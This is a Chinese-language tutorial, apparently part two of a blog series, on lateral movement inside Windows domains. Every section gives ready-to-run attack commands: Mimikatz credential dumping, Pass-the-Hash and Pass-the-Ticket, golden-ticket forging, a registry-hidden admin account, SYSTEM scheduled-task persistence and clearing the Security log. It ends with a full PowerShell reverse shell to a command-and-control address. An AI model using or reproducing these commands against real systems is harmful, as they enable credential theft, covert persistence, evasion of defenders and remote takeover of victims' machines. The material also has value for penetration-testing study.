1. 横向移动概述
- 定义与背景:横向移动是攻击者在内网中扩展控制权的重要技术,目的是通过逐步控制更多主机和获取更多资源来进一步提升攻击效果。
- 常见的横向移动技术:通过凭据窃取、Pass-the-Hash、Pass-the-Ticket、远程代码执行等手段在内网中进行移动。
2. 凭据窃取
- Mimikatz工具使用:
- LSASS内存中提取凭据:通过Mimikatz工具从LSASS内存中提取明文密码、NTLM哈希、Kerberos票据等敏感信息。
- 代码示例:
mimikatz # sekurlsa::logonpasswords mimikatz # kerberos::list /export
Pass-the-Hash攻击:
- 使用NTLM哈希进行身份验证:无需明文密码即可使用NTLM哈希在内网中进行横向移动。
- 代码示例:
psexec.py DOMAIN/administrator@192.168.1.101 -hashes :31d6cfe0d16ae931b73c59d7e0c089c0
3. 远程代码执行
- SMB协议利用:
- 利用
wmiexec.py
进行远程代码执行:通过Windows Management Instrumentation (WMI) 远程执行命令。
- 利用
- 代码示例:
wmiexec.py DOMAIN/administrator@192.168.1.101
远程桌面协议(RDP)劫持:
- 使用
RDPWrap
:通过劫持RDP会话,获取目标主机的完全控制权。 - 代码示例:
rdesktop -u admin -p password 192.168.1.101
4. Kerberos攻击
- Pass-the-Ticket攻击:
- 使用
Mimikatz
进行票据窃取与重放:通过获取并重放Kerberos票据,进行无密码的横向移动。
- 使用
- 代码示例:
mimikatz # kerberos::ptt <ticket.kirbi>
黄金票据攻击:
- 创建与使用黄金票据:通过Mimikatz生成黄金票据,获取域内所有资源的访问权限。
- 代码示例:
mimikatz # kerberos::golden /user:Administrator /domain:domain.com /sid:S-1-5-21-123456789-1234567890-1234567890 /krbtgt:<NTLM_HASH> /id:500 mimikatz # misc::cmd
5. 横向移动中的持久化
创建隐藏账户:
- 利用命令行创建隐藏的本地管理员账户:确保在横向移动过程中有备用的访问方式。
- 代码示例:
net user hiddenAdmin Password123! /add net localgroup administrators hiddenAdmin /add reg add HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList /v hiddenAdmin /t REG_DWORD /d 0 /f
Scheduled Tasks和WMI持久化:
- 创建持久化的Scheduled Task:在目标主机上设置自动任务。
- 代码示例:
schtasks /create /sc onstart /tn "SysUpdate" /tr "cmd.exe /c whoami > C:\windows\temp\log.txt" /ru SYSTEM
6. 隐匿与日志清理
隐匿技术:
- 日志清理与进程隐藏:通过清理日志和隐藏恶意进程来躲避检测。
- 代码示例:
wevtutil cl Security taskkill /PID <pid> /F
网络通信的隐匿:
- 使用
Powershell
与 C2 通信:使用Powershell脚本与C2服务器通信,避免被检测到。 - 代码示例:
powershell -nop -w hidden -c "$client = New-Object System.Net.Sockets.TCPClient('192.168.1.102',4444);$stream = $client.GetStream(); [byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) {;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$ stream.Flush()}"
这两篇中我们深入探讨了内网渗透与横向移动的技术,从信息收集、漏洞利用、权限提升到横向移动和持久化,以及如何隐匿攻击行为。共同努力,共同进步,加油伙伴们!